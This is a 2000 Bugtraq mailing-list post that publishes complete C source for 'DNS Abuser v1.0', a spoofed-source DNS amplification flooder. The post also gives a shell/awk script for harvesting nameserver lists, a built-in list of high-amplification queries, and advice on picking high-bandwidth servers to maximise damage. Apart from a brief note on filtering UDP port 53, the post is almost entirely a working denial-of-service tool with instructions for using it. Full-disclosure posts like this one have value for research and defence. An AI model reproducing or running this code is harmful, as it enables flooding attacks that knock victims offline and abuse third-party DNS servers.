dnsa1.c - Exploit code for a denial of service attack using DNS (updated version)
Date: Mon, 28 Feb 2000 09:49:01 -0800
From: Zelea <zelea@IBM.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: dnsa1.c - Exploit code for a denial of service attack using DNS (updated version)
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This program works by sending spoofed UDP packets to a list of
nameservers. The packets contain valid type ANY class IN queries.
The amplification effect comes from the fact that the query packet
is much smaller in size than the answer.
A list of queries is already included in this source. These queries
have been selected for the highest amplification ratio (currently
between 20-25) but you can provide your own list of queries in a
separate file. ICMP (udp port unreachable) packets are sent back
to the nameservers reducing even more the victim's bandwidth.
This program has a short delay at the start due to the time required
to resolve the nameserver's IPs. Then it sends each UDP query at full
speed to each nameserver from the list.
The nameservers file has one server per line.
To quickly build yourself a list of nameservers use the following
script after you have downloaded the domain inaddr.zone.gz file.
#!/bin/sh
ZONE=inaddr.zone;
if [ "x$1x" == "xx" ]; then
echo "Usage: print_ns aprox_nr_of_servers";
exit
fi
if [ ! -f $ZONE ]; then
echo "Zone file $ZONE not found";
exit
fi
NR=`wc -l $ZONE`;
awk --assign=TOT="$NR" --assign=DES="$1" '
BEGIN { srand(); th=DES/TOT; };
/NS/ { if( rand() < th )
{
fi = split( $0, entry );
if( entry[fi-1] == "NS" )
serv[entry[fi]] = 1;
}};
END { for( ns in serv )
printf "%s\n", ns;
}' $ZONE
If you plan to use high bandwidth you should select the nameservers
by their own bandwidth (they should have at least 50 times the bandwidth
of the incoming queries otherwise the packets send to them will be just wasted)
[ a way of checking a server's bandwidth capacity is using 'bing' ]
This kind of DoS attack has several advantages over a smurf attack.
There are more than 25000 nameservers which will always be out there.
It is also more difficult to block because UDP queries are valid
packets which pass through almost all firewalls.
Since every computer has to have some kind of name resolver the only
way to block this is by denying all UDP packets with source port 53
except those coming from your local nameserver.
[ There is still your own nameserver that can flood you in this case ]
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/*
* DNS Abuser v1.0
* Working version by Zelea
* Last modified: 26 February 2000
*
* Based on dnsabuser.c by Nemo (cveira@airtel.net) and
* on DOOMDNS by FuSyS
*
* Usage: dnsa1 <target> <times> [<dns_server.txt> [<dns_query.txt>]]
* times = 0 means continuously
*/
/* This program is for educational purpose only */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>
#define IP_HEAD_BASE 20
#define UDP_HEAD_BASE 8
#define DNS_QSIZE 64
#define MAX_LINE 255
#define MAX_QUERYS 255 // maximum buffer size
#define MAX_SERVERS 255 // maximum buffer size
#define QUERY_LENGTH 32 // max QUERY length
#define DEF_DOMAINS "./dns_server.txt" // name servers
#define DEF_QUERYS "./dns_query.txt" // query list file
struct DNS_MSG
{
HEADER head;
char query[DNS_QSIZE];
};
struct dns_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[DNS_QSIZE];
};
char dns_query[MAX_QUERYS][QUERY_LENGTH];
char *dns_query_def[] =
{ "ca", "de", "es", "ch", "be", "ie", "cr", "org", "com", "edu",
"gov", "net", "se", "gr", "ro", "fr", "it", "ru", "pl", "ma",
"in", "fi", "nrc.ca", "pse.pl", "arpa", "ucd.ie", "nl", "sk",
"at", "psi.net", "uqam.ca", "ac.cy", "cz", "sh", "nu",
"gmx.net", "ac.in", "usc.edu", "ac.uk", NULL };
unsigned long dns_servers[MAX_SERVERS];
unsigned long saddr;
int sd; //
unsigned long
nameResolve( const char *name )
{
struct hostent *host;
struct sockaddr_in addr;
memset( &addr, 0, sizeof( struct sockaddr_in ) );
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr( name );
if ( addr.sin_addr.s_addr == -1 )
{
if ( ( host = gethostbyname( name ) ) == NULL )
{
fprintf( stderr, "Unable to resolve host %s\n", name );
return ( -1 );
}
addr.sin_family = host->h_addrtype;
memcpy( ( caddr_t ) & addr.sin_addr, host->h_addr, host->h_length );
}
return ( unsigned long ) addr.sin_addr.s_addr;
}
void
doomzone( void )
{
static int nsptr = 0;
static int qptr = 0;
unsigned long daddr;
unsigned short psrc, pdest;
struct sockaddr_in sin;
struct dns_pkt dpk;
struct DNS_MSG killer;
int shoot, len;
char *p, *plgt;
if ( dns_servers[nsptr] == 0L )
nsptr = 0;
daddr = dns_servers[nsptr++];
if ( *dns_query[qptr] == '\0' )
qptr = 0;
psrc = htons( 1024 + ( rand( ) % 2000 ) );
pdest = htons( 53 );
// build packets ...
memset( &killer, 0, sizeof( killer ) );
killer.head.id = getpid( );
killer.head.rd = 1;
killer.head.aa = 0;
killer.head.opcode = QUERY;
killer.head.qr = 0;
killer.head.qdcount = htons( 1 );
killer.head.ancount = htons( 0 );
killer.head.nscount = htons( 0 );
killer.head.arcount = htons( 0 );
strcat( killer.query + 1, dns_query[qptr++] );
p = plgt = killer.query;
do
{
p++;
while ( *p != '.' && *p != '\0' )
p++;
*plgt = ( u_char ) ( p - plgt - 1 );
plgt = p;
}
while ( *p == '.' );
p++;
*(( unsigned short * ) p)++ = htons( T_ANY ); /* type ANY */
*(( unsigned short * ) p)++ = htons( C_IN ); /* class IN */
len = 12 + p - killer.query;
memset( &dpk, 0, sizeof( dpk ) );
dpk.udp.source = psrc;
dpk.udp.dest = pdest;
dpk.udp.len = htons( UDP_HEAD_BASE + len );
memcpy( dpk.data, ( void * ) &killer, len );
dpk.ip.ihl = 5;
dpk.ip.version = 4;
dpk.ip.tos = 0;
dpk.ip.tot_len = htons( IP_HEAD_BASE + UDP_HEAD_BASE + len );
dpk.ip.frag_off = 0;
dpk.ip.ttl = 64;
dpk.ip.protocol = IPPROTO_UDP;
dpk.ip.saddr = saddr;
dpk.ip.daddr = daddr;
memset( &sin, 0, sizeof( sin ) );
sin.sin_family = AF_INET;
sin.sin_port = pdest;
sin.sin_addr.s_addr = daddr;
shoot = sendto( sd, &dpk,
( IP_HEAD_BASE + UDP_HEAD_BASE + len ), 0,
( struct sockaddr * ) &sin, sizeof( sin ) );
if ( shoot < 0 )
fprintf( stderr, "SPOOF ERROR" );
}
int
main( int argc, char *argv[] )
{
FILE *dd, *qd; // file pointers
int i, j, sd_opt;
unsigned int times = 0;
unsigned long ns_addr;
char line[MAX_LINE];
char *p;
// unbuffered output
setbuf( stdout, NULL );
setbuf( stderr, NULL );
// ->simple<- parameter checking :P
if ( argc < 3 )
{
fprintf( stderr, "\nUsage:\t%s <target> <times> "
"[<dns_servers.txt> [<dns_query.txt>]]\n\n", argv[0] );
exit( 0 );
}
saddr = nameResolve( argv[1] );
times = atoi( argv[2] );
// loading files
dd = fopen( DEF_DOMAINS, "r" );
if ( argc > 3 )
{
if ( ( dd = fopen( argv[4], "r" ) ) == NULL )
{
fprintf( stderr, "\nCannot open domain file %s. Quitting...\n", argv[4] );
exit( 0 );
}
}
if ( argc > 4 )
{
if ( ( qd = fopen( argv[5], "r" ) ) == NULL )
{
fprintf( stderr, "\nCannot open query file %s. Quitting...\n", argv[5] );
exit( 0 );
}
}
else
{
qd = fopen( DEF_QUERYS, "r" );
}
if ( dd == NULL )
{
fprintf( stderr, "\nCannot open domain file. Quitting...\n" );
exit( 0 );
}
i = 0;
do
{
fgets( line, MAX_LINE - 1, dd );
if ( ( p = strchr( line, '\n' ) ) != NULL )
*p = '\0';
if ( ( ns_addr = nameResolve( line ) ) != -1 )
dns_servers[i++] = ns_addr;
}
while ( ( i < MAX_SERVERS - 1 ) && !feof( dd ) );
dns_servers[i] = 0L;
i = 0;
j = 0;
if ( qd == NULL )
{
while ( ( i < MAX_QUERYS - 1 ) && dns_query_def[j] != NULL )
{
if ( strlen( dns_query_def[j] ) < QUERY_LENGTH )
strcpy( dns_query[i++], dns_query_def[j++] );
else
j++;
}
}
else
{
do
{
fgets( line, MAX_LINE - 1, qd );
if ( ( p = strchr( line, '\n' ) ) != NULL )
*p = '\0';
if ( strlen( line ) < QUERY_LENGTH )
strcpy( dns_query[i++], line );
}
while ( ( i < MAX_QUERYS - 1 ) && !feof( qd ) );
}
*dns_query[i] = '\0';
fclose( dd );
fclose( qd );
// opening sockets ...
srand( time( NULL ) );
sd_opt = 1;
if ( ( sd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
{
fprintf( stderr, "\nSocket error. Quitting...\n" );
exit( 0 );
}
if ( setsockopt( sd, IPPROTO_IP, IP_HDRINCL, &sd_opt,
sizeof( sd_opt ) ) < 0 )
{
fprintf( stderr, "\nIP Error. Quitting...\n" );
exit( 0 );
}
printf( "\n\n\033[1;36mDNS Abuser v1.0\033[0m" );
printf( "\n\033[1;31mDNS-based flooder\033[0m" );
// flooding engine
printf( "\n\033[1;32mFlooding %s:\033[0m\n", argv[1] );
i = 0;
while ( times == 0 || i < times )
{
doomzone( );
i++;
if ( !( i % 100 ) )
printf( "\033[0;32m.\033[0m" );
}
printf( "\n\n" );
return ( 0 );
}
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